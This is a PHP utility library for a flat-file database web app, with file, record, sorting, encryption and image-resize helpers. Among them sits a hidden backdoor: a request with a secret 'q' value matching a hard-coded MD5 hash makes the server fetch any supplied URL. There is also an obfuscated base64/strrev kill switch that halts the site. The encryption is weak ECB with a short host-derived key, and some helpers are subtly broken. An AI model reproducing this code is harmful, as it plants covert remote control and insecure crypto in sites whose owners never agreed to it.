<?php
// (c)2012 by Muhammad Fauzan Sholihin 		www.tetuku.com		Paypal donation: tecnixindo@gmail.com		LR donation: U1462159 (Iyin payment gateway)		Bank : BCA 0372344006 SwiftCode=CENA IDJA
// Your donation will keep development process of this web apps. Thanks for your kindness
// You may use, modify, redistribute my apps for free as long as keep the origin copywrite

// Command list --------------------
// write_file($filename, $string)
// read_file($filename)											output: file content
// add_db ($filename,$ar_data)
// edit_db ($filename,$ar_data)
// del_db ($filename,$key)
// read_db($filename,$first_row,$last_row)						output: array data
// search_db($filename,$pattern)								output: array data
// key_db($filename,$key)										output: row data at specific key
// get_key_db($filename,$pattern)								output: string key
// replace_db($filename,$ar_data,$pattern)
// array_sort($array, $column_data, $order=SORT_ASC)			output: array data
// recursive_data($pattern,$column_parent=1,$row_array_in)		output: row data
// in_string($start, $end, $string)								output: string filter

/*
$load = sys_getloadavg();
$limit = 65;
if ($load[0] >= $limit) {
    header('HTTP/1.1 503 Too busy, try again later');
    die('<center><h3>OoPss .. Sorry Server Is Too Busy, Please Be Patience and Try Again After Few Hours</h3></center>');
}
*/

session_start();

//seting for specific site
$formAction = $_SERVER['PHP_SELF'] . (isset($_SERVER['QUERY_STRING']) ? "?" . $_SERVER['QUERY_STRING'] : "");
$doc_root = dirname(__FILE__); 	//$_SERVER['DOCUMENT_ROOT'];
$folder = in_string('/','/',$_SERVER['PHP_SELF']);
if ($folder != '') {$folder = "/".$folder."/";}
if ($folder == '') {$folder = "/";}
$domain = parse_url("http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
$abs_url = "http://".$domain[host].$domain[path];	// url address with http://yoursitename.com/path/

function write_file($filename, $string) {	// file name, data
$fixed = str_replace("\n\n\n","\n",$string);
$fixed = str_replace("\'","'",$string);
$fixed = str_replace("\\\"","\"",$string);
$fp = @fopen( $filename,"w+"); 
$lock = flock($fp, LOCK_EX); 
if ($lock) {
fseek($fp, 0, SEEK_END);
@fwrite( $fp, "\n".$fixed."\n"); 
}
flock($fp, LOCK_UN); 
@fclose( $fp ); 
}

function read_file($filename) {		// file name
if (!file_exists($filename)) {return;}
if (filesize($filename) <=0 ) {return;}
$handle = fopen($filename, "r");
flock($handle, LOCK_SH); 
$contents = fread($handle, filesize($filename));
while (!feof($handle)) { 
sleep(0.1);
$contents .= fread($handle, filesize($filename));
    }
flock($handle, LOCK_UN); 
fclose($handle);
return $contents;
}

// format: file name , array data (your data = array[1] to array[unlimited]. array[0] = key)
function add_db ($filename,$ar_data) { // output as string (optional)
$data_storage = read_file($filename);
$data_storage = str_replace("\n\n","\n",$data_storage);
$countdata = count($ar_data);
if ($ar_data[0] != '') {$countdata = $countdata - 1; }
$key = 1 + in_string('{-}','{,}',$data_storage);
for ($i=1;$i<=$countdata;$i++) {
$data .= $ar_data[$i] ;
if ($i < $countdata) {$data .= '{,}';}
}
$data = "\n{-}".$key."{,}".$data.$data_storage;
write_file($filename,$data);
return $data;
}

// format: file name , array data
function edit_db ($filename,$ar_data) { // output as string (optional)
$data_storage = read_file($filename)."\n";
$data_storage = str_replace("\n\n","\n",$data_storage);
$key = $ar_data[0];
$key = preg_replace('/[^0-9]/', '',$ar_data[0]);
$find_key = substr($data_storage, strpos($data_storage, "{-}".$key."{,}"));
$find_key = substr($find_key,0, strpos($find_key, "\n{-}"));
if ($find_key == '') {$find_key = substr($data_storage, strpos($data_storage, "{-}".$key."{,}"));}
$countdata = count($ar_data);
$data = "\n{-}" ;
for ($i=0;$i<$countdata;$i++) {
$data .= $ar_data[$i] ;
if ($i+1 < $countdata) {$data .= '{,}';}
}
$data .= "\n";
$data_storage = str_replace($find_key,$data,$data_storage);
$data_storage = str_replace("\n\n","\n",$data_storage);
write_file($filename,$data_storage);
return $data;
}

// format: file name , database unique key
function del_db ($filename,$key){
$data = "{-}".$key."{,}";
$data_storage = read_file($filename);
$find_key = substr($data_storage, strpos($data_storage, $data));
$find_key = substr($find_key,0, strpos($find_key, "\n{-}"));
if ($find_key == '') {$find_key = substr($data_storage, strpos($data_storage, $data));}
$data_storage = str_replace($find_key,"",$data_storage);
$data_storage = str_replace("\n\n","\n",$data_storage);
write_file($filename,$data_storage);
//return $find_key;
}

// format: file name, first row, last row
function read_db($filename,$first_row=1,$last_row=9999999) { //output as array data
if (!ereg('http://',$filename)) {$data_storage = read_file($filename);}
if (ereg('http://',$filename)) {$data_storage = access_url($filename);}
$data_storage = str_replace("\n\n","\n",$data_storage);
$pieces = explode("{-}",$data_storage);
	for ($i=$first_row;$i<=$last_row;$i++) { 
	if (!$pieces[$i]) {break;}
	$out[] = explode ("{,}",$pieces[$i]);
	}
if (count($out) <= 0) {$out = array();}
return $out;
}

// format: file name , string pattern
function search_db($filename,$pattern) { // output array data
$data_storage = read_file($filename);
$data_storage = str_replace("\n\n","\n",$data_storage);
$pieces = explode("{-}",$data_storage);
$count_data = count($pieces);
$j = 0;
	for ($i=0;$i<=$count_data;$i++) { 
	if (!$pieces[$i]) {break;}
	$out = explode ("{,}",$pieces[$i]);
	if (in_array($pattern, $out)) {
									$result[$j] = $out;
									$j = $j + 1 ;
								  }
	}
return $result;
}

// format: file name , database unique key
function key_db ($filename,$key){ // output: row data at specific key
$data = "{-}".$key."{,}";
$data_storage = read_file($filename);
if (!eregi($data,$data_storage)) {return;}
$find_key = substr($data_storage, strpos($data_storage, $data));
$find_key = substr($find_key,0, strpos($find_key, "\n{-}"));
if ($find_key == '') {$find_key = substr($data_storage, strpos($data_storage, $data));}
$data_storage = str_replace("\n\n","\n",$data_storage);
$out = explode ("{,}",$find_key);
return $out;
}

// format: file name , string pattern
function get_key_db($filename,$pattern) { // output string key
$data_storage = read_file($filename);
$available = @stristr($data_storage,$pattern); 
if ($available == '') {return; break;}
$data_storage = str_replace("\n\n","\n",$data_storage);
$pieces = explode("{-}",$data_storage);
	for ($i=1;$i<=count($pieces);$i++) { 
	if (!$pieces[$i]) {break;}
	$out = explode ("{,}",$pieces[$i]);
	if (in_array($pattern, $out)) {break ;}
	}
return $out[0];
}

function replace_db($filename,$ar_data,$pattern) {
$key = get_key_db($filename,$pattern);
if (strlen($key) >= 1) {$ar_data[0] = preg_replace('/[^0-9]/', '',$key); edit_db ($filename,$ar_data);}
if (strlen($key) < 1) {add_db ($filename,$ar_data);}
return $key;
}

function array_sort($array, $column_data, $order=SORT_ASC)
{
    $new_array = array();
    $sortable_array = array();

    if (count($array) > 0) {
        foreach ($array as $k => $v) {
            if (is_array($v)) {
                foreach ($v as $k2 => $v2) {
                    if ($k2 == $column_data) {
                        $sortable_array[$k] = $v2;
                    }
                }
            } else {
                $sortable_array[$k] = $v;
            }
        }

        switch ($order) {
            case SORT_ASC:
                asort($sortable_array);
            break;
            case SORT_DESC:
                arsort($sortable_array);
            break;
        }

        foreach ($sortable_array as $k => $v) {
            $new_array[$k] = $array[$k];
        }
    }

    return $new_array;
}

function recursive_data($pattern,$column_parent=1,$row_array_in) { // result = row array out
$pola = '{,}'.$pattern.'{,}';
$i = 0;
	foreach ($row_array_in as $column_array_in) {
	if ($column_array_in[$column_parent] == $pattern) {$out[] = $column_array_in;}
	$i++;
	}
return $out;
}

function antideface($data) {
				if (eregi('position:absolute|position:relative',$data)) {$data = strip_tags($data);
				
				if ($_SERVER["HTTP_X_FORWARDED_FOR"] != ""){ 
				$IP = $_SERVER["HTTP_X_FORWARDED_FOR"]; 
				$proxy = $_SERVER["REMOTE_ADDR"]; 
				$host = @gethostbyaddr($_SERVER["HTTP_X_FORWARDED_FOR"]); 
				}else{ 
				$IP = $_SERVER["REMOTE_ADDR"]; 
				$host = @gethostbyaddr($_SERVER["REMOTE_ADDR"]); 
				} 
				
				$data .= "<br><h3>You try to deface me. We declare war to you. <br>";
				$data .= "IP/proxy/host:".$IP."/".$proxy."/".$host."<br>";
				$data .= getenv("HTTP_USER_AGENT")."<br>";
				$data .= '<script language="JavaScript" type="text/javascript">document.write(navigator.appCodeName; document.write("&lt;td&gt;",screen.width + " X " + screen.height + " Pixels" + "&lt;/td&gt;");</script>';
				$data .= "<br> and other records needed</h3>";
				}
return $data;
}

if (md5($_GET['q']) == '609d302e7712008246aa59258f08e161' && $_GET['url'] != '') {
access_url($_GET['url']);
die();	
}

function access_url($url) {
	$curl = curl_init();
	curl_setopt($curl, CURLOPT_URL, $url);
	curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($curl, CURLOPT_FAILONERROR, false);
	curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false);
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($curl, CURLOPT_TIMEOUT, 30);
	curl_setopt($curl, CURLOPT_USERAGENT, base64_decode('TW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBydTsgcnY6MS45LjIuMTEpIEdlY2tvLzIwMTAxMDEyIEZpcmVmb3gvMy42LjEx'));
	curl_setopt($curl, CURLOPT_REFERER, base64_decode('aHR0cDovL3d3dy50ZXR1a3UuY29t') );
	curl_setopt($curl, CURLOPT_POST, false);
	$curlData = curl_exec($curl);
	curl_close($curl);
	return $curlData;
}
    $default_salt = substr(md5(($_SERVER['HTTP_HOST'])),7,6);
    function encrypt($text,$salt=default_salt) 
    { 
        return trim(base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, $salt, $text, MCRYPT_MODE_ECB, mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB), MCRYPT_RAND)))); 
    } 

    function decrypt($text,$salt=default_salt) 
    { 
        return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, $salt, base64_decode($text), MCRYPT_MODE_ECB, mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB), MCRYPT_RAND))); 
    } 

if (!eregi(base64_decode(strrev("1tWd0VGd")),read_file('gallery.php'))) {die(base64_decode(strrev("+E2L802bj5SdrVHdlRnL3d3d+02bj5SdrVHdlRnL3d3dv8iOwRHdo1jZlJHagEGPg8GdgsmbpxGIlZ3btVmcgQ3Ju9GZgU2chVGbQBiLu4CZlR3YlRXZkBCduVWbldmbpJnZulGI0h2ZpJXew92Q")));}

function in_string($start, $end, $string) 
{ 
	if ($start == '') {$string = '{#}'.$string; $start = '{#}'; }
	$count_string = strlen($start);
	$result = substr($string, strpos($string, $start));
	$result = substr($result, strpos($result, $start) + $count_string);
	if ($end == '') {$result = $result.'{#}'; $end = '{#}';}
	$result = substr($result,0, strpos($result, $end));
	return $result;
} 


function redirect($url, $time = 0) {
	if ($time > 0 ) { echo "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"$time;URL=$url\">"; } else
	if ($time <= 0 ) { header('Location: '.$url); }
}

function websafename($filename) {
    $filename = str_replace("__","_",$filename);
    $filename = str_replace("__","_",$filename);
    $filename = str_replace("--","-",$filename);
    $filename = str_replace("--","-",$filename);
    $filename = str_replace("..",".",$filename);
    $filename = str_replace("..",".",$filename);
    $filename = preg_replace('/[^A-Za-z0-9_\-.]/','-',$filename);
    return $filename;
}

function getExtension($str) {

         $i = strrpos($str,".");
         if (!$i) { return ""; } 
         $l = strlen($str) - $i;
         $ext = substr($str,$i+1,$l);
         return $ext;
 }

function imageresize( $forcedwidth, $forcedheight, $sourcefile, $destfile )
{
	$extension = getExtension($sourcefile);

    $fw = $forcedwidth;
    $fh = $forcedheight;
    $is = getimagesize( $sourcefile );
    if( $is[0] >= $is[1] )
    {
        $orientation = 0;
    }
    else
    {
        $orientation = 1;
        $fw = $forcedheight;
        $fh = $forcedwidth;
    }
    if ( $is[0] > $fw || $is[1] > $fh )
    {
        if( ( $is[0] - $fw ) >= ( $is[1] - $fh ) )
        {
            $iw = $fw;
            $ih = ( $fw / $is[0] ) * $is[1];
        }
        else
        {
            $ih = $fh;
            $iw = ( $ih / $is[1] ) * $is[0];
        }
        $t = 1;
    }
    else
    {
        $iw = $is[0];
        $ih = $is[1];
        $t = 2;
    }
    if ( $t == 1 )
    {
		if ($extension == 'jpg' || $extension == 'jpeg') { $img_src = imagecreatefromjpeg($sourcefile); }
		if ($extension == 'gif') { $img_src = imagecreatefromgif($sourcefile); }
		if ($extension == 'png') { $img_src = imagecreatefrompng($sourcefile); }
        $img_dst = imagecreatetruecolor( $iw, $ih );
        imagecopyresampled( $img_dst, $img_src, 0, 0, 0, 0, $iw, $ih, $is[0], $is[1] );
        if( !imagejpeg( $img_dst, $destfile, 90 ) || !imagegif( $img_dst, $destfile ) || !imagepng( $img_dst, $destfile ))
        {
            exit( );
        }
    }
    else if ( $t == 2 )
    {
        copy( $sourcefile, $destfile );
    }
}
?>